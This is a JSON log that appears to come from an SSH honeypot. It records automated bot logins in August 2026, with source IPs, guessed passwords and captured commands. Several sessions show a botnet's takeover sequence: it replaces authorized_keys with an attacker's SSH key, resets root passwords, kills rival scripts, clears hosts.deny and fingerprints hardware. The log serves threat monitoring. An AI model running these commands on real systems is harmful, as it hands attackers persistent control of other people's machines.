{"id":"156ef38e-9668-4b05-bf53-1206e99e3023","name":"deft-idle-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":50036,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:53:23.395842+00:00","ended_at":"2026-08-27T12:53:24.180134+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T12:53:23.396964+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:23.945663+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"dev","password":"123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"7c8e67e9-a269-473f-b723-2fa694869856","name":"merry-calm-otter","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":36568,"username":"xrp","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":196,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:53:16.935192+00:00","ended_at":"2026-08-27T12:53:17.042091+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:53:15.238543+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:53:15.744184+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:53:15.936308+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:53:15.936929+00:00","kind":"output","latency_ms":null,"data":" 12:53:15 up 7 days, 9:43, 0 user, load average: 0.16, 0.12, 0.15"},{"seq":5,"at":"2026-08-27T12:53:16.152946+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:53:16.156459+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:53:16.336194+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:53:16.336827+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:53:16.532906+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:53:16.534107+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:53:16.739097+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:53:16.739943+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:53:16.937110+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:53:16.937793+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"xrp","password":"xrp","method":"password","accepted":true,"tier":"other"}]} {"id":"dc7fc61d-c17f-4018-ba98-b97ee9b95beb","name":"sullen-restless-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59912,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":445,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:53:15.753493+00:00","ended_at":"2026-08-27T12:53:16.740548+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:52:54.306921+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:52:54.751098+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:52:59.504104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:53:00.398184+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:53:00.846615+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ICIvCSIfWQc7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:53:01.295815+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:53:01.740583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:53:02.247254+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:53:02.696266+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:53:03.970557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:53:04.437048+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:53:05.717620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:53:06.179840+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:53:06.490178+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:53:06.934519+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:53:07.480154+00:00","kind":"output","latency_ms":null,"data":" 12:53:07 up 7 days, 9:43, 0 user, load average: 0.22, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:53:07.921554+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:53:08.334279+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:53:08.777955+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:53:09.123364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:53:09.566916+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:53:10.245354+00:00","kind":"output","latency_ms":null,"data":"top - 12:53:10 up 7 days, 9:43, 0 user, load average: 0.22, 0.22, 0.25\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:53:10.702189+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:53:11.459509+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:53:11.904266+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:53:12.532966+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:53:12.980251+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:53:13.766945+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:53:14.211532+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:53:15.316113+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:53:15.754759+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:53:16.596440+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty121","method":"password","accepted":true,"tier":"other"}]} {"id":"0e6dc97c-8a4c-4c90-88bc-14ecc0256ed5","name":"barren-twilight-vole","protocol":"ssh","channel_kind":null,"src_ip":"113.191.145.50","src_port":54142,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:04.508996+00:00","ended_at":"2026-08-27T12:53:14.808160+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"77710284-4161-446e-8859-906685782872","name":"arctic-graceful-shrike","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59928,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:52:57.654567+00:00","ended_at":"2026-08-27T12:52:59.368626+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5c15625a-5be1-417f-bce9-e2acf76762c9","name":"icy-sandy-mink","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59922,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:52:55.794854+00:00","ended_at":"2026-08-27T12:52:56.745849+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da95395f-4d56-434c-89f1-495aa10cf491","name":"golden-blithe-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":33882,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":302,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:52:16.604226+00:00","ended_at":"2026-08-27T12:52:18.682721+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:51:57.817896+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:51:58.119012+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:52:02.066926+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:52:02.438831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:52:02.742966+00:00","kind":"input","latency_ms":null,"data":"echo -e \"uno50\\nMEdn4MKSuAJO\\nMEdn4MKSuAJO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:52:03.051735+00:00","kind":"input","latency_ms":null,"data":"echo \"uno50\\nMEdn4MKSuAJO\\nMEdn4MKSuAJO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:52:03.345071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:52:04.204547+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:52:04.510477+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:52:05.735011+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:52:06.042565+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:52:07.414027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:52:07.716803+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:52:08.467929+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:52:08.770170+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:52:09.342190+00:00","kind":"output","latency_ms":null,"data":" 12:52:09 up 7 days, 9:42, 0 user, load average: 0.22, 0.21, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:52:09.644097+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:52:10.120453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:52:10.423088+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:52:11.010125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:52:11.311525+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:52:12.120290+00:00","kind":"output","latency_ms":null,"data":"top - 12:52:12 up 7 days, 9:42, 0 user, load average: 0.22, 0.21, 0.22\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:52:12.422924+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:52:13.084233+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:52:13.388040+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:52:14.119327+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:52:14.421060+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:52:14.838243+00:00","kind":"output","latency_ms":null,"data":"uno50"},{"seq":29,"at":"2026-08-27T12:52:15.140811+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:52:16.299340+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:52:16.606268+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:52:18.592717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"uno50","password":"uno50","method":"password","accepted":true,"tier":"other"}]} {"id":"78a8cc11-6c52-432a-94c1-d67d09add5fd","name":"vivid-eager-jackal","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":33904,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:52:00.171763+00:00","ended_at":"2026-08-27T12:52:01.977077+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"uno50","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b474a105-1c8f-4b7a-a107-b6513d19cb4c","name":"wandering-icy-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":51332,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:51:59.998119+00:00","ended_at":"2026-08-27T12:52:01.203481+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:51:41.934701+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:51:42.260835+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:51:46.230122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:51:46.620157+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:51:46.949311+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UnYf4RHUdHcG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:51:47.279526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:51:47.606750+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:51:48.393541+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:51:48.720548+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:51:49.856184+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:51:50.454022+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:51:51.391407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:51:51.723615+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:51:52.406059+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:51:52.735608+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:51:53.009016+00:00","kind":"output","latency_ms":null,"data":" 12:51:53 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:51:53.340503+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:51:53.802627+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:51:54.131041+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:51:55.018248+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:51:55.349023+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:51:56.069250+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:56 up 7 days, 9:42, 0 user, load average: 0.17, 0.17, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:51:56.395630+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:51:56.677316+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:51:57.009284+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:51:57.308107+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:51:57.639678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:51:58.094757+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:51:58.424501+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:51:59.668435+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:51:59.998572+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:52:01.106960+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Db123456","method":"password","accepted":true,"tier":"other"}]} {"id":"dc2b2b05-6da5-4349-a46c-6fe0ff972213","name":"solar-cunning-fennec","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":33888,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:51:58.806678+00:00","ended_at":"2026-08-27T12:51:59.598623+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a2897646-8b8c-4303-9a5d-3797ee2e4dfe","name":"cheerful-curious-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51360,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:51:45.114700+00:00","ended_at":"2026-08-27T12:51:46.134080+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4417d94e-4742-48ba-bf9a-5b22b39406e6","name":"seaward-crimson-wallaby","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51346,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:51:43.015582+00:00","ended_at":"2026-08-27T12:51:44.461515+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"186121f5-be48-475b-a169-0fac760a5e63","name":"stormy-proud-fossa","protocol":"http","channel_kind":"http","src_ip":"118.31.112.143","src_port":null,"username":null,"client_version":"Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1","auth_attempts":0,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:51:35.654859+00:00","ended_at":"2026-08-27T13:07:13.108659+00:00","ended_reason":"http session idle","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"bd409d2b-ed61-4abf-a487-c971f7a166d4","name":"bronzed-drifting-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":56738,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:50:48.404055+00:00","ended_at":"2026-08-27T12:50:51.060389+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 